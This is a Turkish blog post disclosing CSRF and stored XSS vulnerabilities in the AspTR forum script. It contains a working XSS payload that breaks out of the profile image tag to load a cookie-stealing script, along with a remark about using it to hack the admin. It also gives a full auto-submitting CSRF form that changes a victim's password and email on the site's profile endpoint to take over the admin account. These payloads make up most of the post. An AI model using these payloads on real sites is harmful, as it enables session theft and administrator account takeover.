Skip to main content

AspTR All version CSRF ve XSS ( Kritik Seviyede )

June 16, 2010 yazan FreWaL

FreWaL kullanıcısının resmi

Türkçe bir script olarak hazırlanan asptr.net e ait scripte CSRF ve XSS güvenlik açığına rastladım . Güvenlik açığı http://www.exploit-db.com/exploits/13891/ sitesinde yayınlandı. Bir kaç güvenlik firmasına daha gönderdim umarım masterleri açığı yamalamada daha hızlı davranır.

ilk önce XSS den bahsetmek istiyorum . Betik normal üyelerin profillerindeki resim yolundan kaynaklanıyor.

değişkenlere az biraz baktığımızda dilediğimizi yazabildiğimizi görebiliyoruz ve resimde de hiç bir filtrelemenin olmadığını görüyoruz .

örnek = <img src="sitedebelirtilenresimyolu.jpg"/>

Peki az biraz düşünüyoruz bu adamlar profilde hiç bir filtreleme yoluna gitmemiş o zaman düşünüyoruz adam foto seçimi eklemiş ve bunun betiğimizi   <img src="sitedebelirtilenresimyolu.jpg"/> gibi bir tag aralığında yayınlanmasını sağlamış + olarak adam bana hiç bir kısıtlama getirmemiş o zaman ben profilimdeki resim kodumu "/> şeklinde kapatarak yeni taga geçiş yapıyorum ve update ediyorum.

siteresmi.jpg"/><script src="cookie.js"/> bundan sonrası ise oyuncak zaten foruma basit bir konu açarak adminin konuya girmesini sağlamam onu hacklemem için yeterli bi neden olacaktır.

ikinci bir güvenlik açığı ise CSRF profil updatede hiç bir filtreleme yok o zaman aşağıdaki betiğe yöneticiyi tıklatmak yeni adminin bizim olmamızı sağlayacak kadar yeterli bir nedendir .

<frewal>
Target site :<form method="POST" action="http://www.asptr.net/Uye.asp?Uye=Kaydet">
<p>Password : <input type="text" name="sifre" size="49" value="sifre"></p>
<p>E-Mail : <input type="text" name="mail" size="49" value="mail"></p>
<p>Secret question : <input type="text" name="soru" size="49" value="soru"></p>
<p><span id="result_box" class="short_text"><span style title>Reply
: </span></span><input type="text" name="cevap" size="49" value="cevap"></p>
<p>Name : <input type="text" name="ad" size="49" value="ad"></p>
<p>Last Name : <input type="text" name="soyad" size="49" value="soyad"></p>
<p>Dont Changing : <select size="1" name="sehir" id="sehir">
<option value="Adana">Adana</option></p>
<p>Profession :<input type="text" name="meslek" size="49" value="meslek"></p>
<p>Msn :<input type="text" name="msn" size="49" value="msn"></p>
<p>Web :<input type="text" name="web" size="49" value="web"></p>
<p>
Sex
:<select name="cinsiyet" size="1">
<option>Bay</option>
<option>Bay</option>
<option>Bayan</option>
</select>
</p>
<p>Avatar :<input type="text" name="icon" size="49" value="icon"></p>
<p> </p>
<p> </p>
<script> document.forms[0].submit() </script>
</form>
</frewal>

Scripti kulanan bi sürü site var .Umarım güvenlik açığı yayılmadan masterleri kapatma yoluna gider.

Premium Drupal Themes by Adaptivethemes